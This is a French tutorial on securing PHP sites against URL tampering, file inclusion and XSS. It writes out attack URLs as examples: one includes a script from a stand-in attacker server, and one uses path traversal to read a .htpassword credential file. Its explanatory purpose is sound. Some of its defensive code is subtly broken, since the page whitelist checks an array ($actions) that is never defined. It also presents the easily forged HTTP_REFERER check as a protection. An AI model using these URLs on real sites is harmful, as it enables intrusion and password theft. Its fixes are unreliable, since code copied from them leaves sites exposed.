Accueil » Tutoriaux » PHP / SQL » Sécuriser son site contre le piratage
Comment sécuriser son site contre le piratage et éviter les failles de PHP ?

Je vais essayer de traiter le plus de failles possible pour vous aider à protéger votre site du piratage. Elle ne sont certainement pas toutes présentes

 

  • Les URL

Chose à éviter, même si ça semble logique pour la plupart des développeurs, faire transiter des variables par l'URL.

http://www.monsite.fr/connect.php?var=3 

N'importe qui peut transformer la variable par ce qu'il souhaite, surtout lorsqu'il sagit de script d'installation !

Préférez utiliser les Sessions voir les Cookies.

Souvent, pour mieux connaître votre site, les pirates essaient plusieurs URL, histoire de tomber sur une page d'erreur. Et là c'est le drame ! Car il peut connaître toute les caractéristiques de votre serveur (enfin toute..., juste les plus importantes pour lui). Pour contrer cela, il suffit de désactiver l'affichage des erreurs :

<?php error_reporting(0) ; ?>

 

  • La fonction INCLUDE ou REQUIRE

La fonction INCLUDE permet d'insérer le contenu d'un fichier dans un autre fichier. Si elle est bien utilisée, cette fonctionne pose pas de problème et est même très pratique. Ce n'est pas la fonction en elle même qui est dangereuse mais plutôt son utilisation. Voici un exemple :

<?php include 'monfichier.php' ; ?> 

Mais ça peut devenir dangereux si on utilise une variable pour inclure un fichier. Exemple :

<?php include $nompage ; ?>

Pour que l'include marche correctement, il faut envoyer à la page le nom du fichier à insérer en utilisant des URL du style :

http://www.monsite.fr/index.php?page=accueil.php

Imaginez ce qu'un pirate peut faire ! Il lui suffit de créer un script et de l'insérer en lieu et place du votre !
Exemple :

http://www.monsite.fr/index.php?page=http://serveurpirate.fr/script.txt

Votre site va alors utiliser le script du pirate ! Cette façon marche aussi si vous ne faites pas passer le variable par l'url. Le pirate fera la même chose (Il faudra qu'il le trouve mais il finira bien par trouver !).

Et là, imaginez les dégats si le pirate fait un script pour que votre serveur soit formaté ! Ou s'il prend le contrôle de votre site, en changeant les mots de passe, etc...

Voici une façon d'y remédier. Il suffit de tester le nom de la variable qui correspond à la page à inclure :

<?php
$nompage = preg_replace ("/[^a-z0-9_ ]/i", "", $nompage) ;
if(!@include ("includes/$nompage.php")) {
        die("Cette page n'existe pas sur le serveur.");  // si la page n'existe pas on stop l'exécution du script
}
?>

Ce morceau de code va enlever les '/' du nom de la page. Donc il sera impossible d'inclure un fichier d'un serveur distant ! (on ne peut plus mettre http:// )

Et en plus, il est possible d'insérer que des fichiers avec l'extension .php .

Autre solution :

<?php include 'include/' . $nompage ; ?>

Dans ce cas, il est impossible d'insérer un fichier provenant d'un serveur distant car impossible de mettre http:// au début du chemin. Toute les pages seront dans le dossier include.  

Mais toute ces méthodes ne suffisent pas !  Cette astuce permet de ne pas ouvrir de fichiers extérieurs, mais elle présente encore une petite faille de sécurité. Si vous protégez un espace par un .htaccess lié à un .htpassword une administration par exemple), et que vous avez le dossier d'administration au même niveau que le dossier include, il est alors possible de faire :

http://www.monsite.fr/index.php?page=../administration/.htpassword 

Vous pourrez alors voir le .htpassword ! Et là, il est assez facile (si on s'y connait, bien sûr) de retrouver les mots de passe...

Bon, me direz vous, il suffit de vérifier que le chemin ne comporte pas '..', histoire qu'on ne remonte pas dans l'arborescence :

<?php
if ( false !== strpos( $nompage, '..' ) ) { die('STOP !' ); }  // la page n'existe pas
include 'include/' . $nompage ;
?>

Mais vous allez me dire, et si le pirate utilise './..' ou '/..'  ? :)  Faut aussi faire un test !! Pour chaque possibilité !!

Un peu long, mais vous pouvez aussi préfixer ou postfixervos script. Exemple :

<?php include 'include/script' . $nompage . '.php'; ?>

Dans ce cas, vous ne pouvez plus avoir de sous-répertoire script. Tout vos fichiers doivent être au format php. Mais vous n'avez plus besoin de le marquer dans le nom de la variable. Exemple :

http://www.monsite.fr/index.php?page=accueil

C'est un peu plus joli, non ?

Et LA solution de bourrin c'est de tester que votre page est préalablement enregistré dans un tableau. Pour être sûr qu'elle existe.

<?php
$MespagesPossibles = array(
  'accueil' => 'accueil',
  'contact' => 'contact',
  'info' => 'news'
);
if( !isset( $actions[ $nompage ] ) ) {
        $page = 'accueil';  // si la page n'existe pas dans le tableau, on l'initialise
}
else {
        $page = $actions[ $nompage ];  // sinon on garde la valeur contenue dans le tableau
}
include "include/$page.php";
?>

Autre solution si vous êtes administrateur de votre serveur, il faut configurer php en modifiant le php.ini

# Desactivation de Register Global
register_globals = Off

# On interdit l'inclusion de fichiers distant
allow_url_fopen = Off

Il y a une méthode qui consiste à vérifier si la page précédente provient bien du même serveur, en utilisant :

$_SERVER["HTTP_REFERER"]

Ca évite pas mal d'injection.

 

  • La faille XSS 

Si vous proposez à vos visiteurs un livre d'or ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si quelqu'un entre du code dans un champ de saisi. C'est ce qu'on appel une faille XSS. On exploite une faille de sécurité qui permet au visiteur d'éxecuter des scripts javascript. On peut alors par exemple, voler le contenu de cookies ce qui permettra de se connecter à un forum, à une administration, ... ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses !

Il y a plusieurs méthodes pour contrer cela : lors du traitement du formulaire, il faut utiliser la fonction htmlentities :

<?php $contenu = htmlentities ($contenu); ?>

 

J'espère que vous trouverez les solutions à vos problèmes dans ce tuto ! Faites bien attention à tout ce qui se passe sur votre serveur !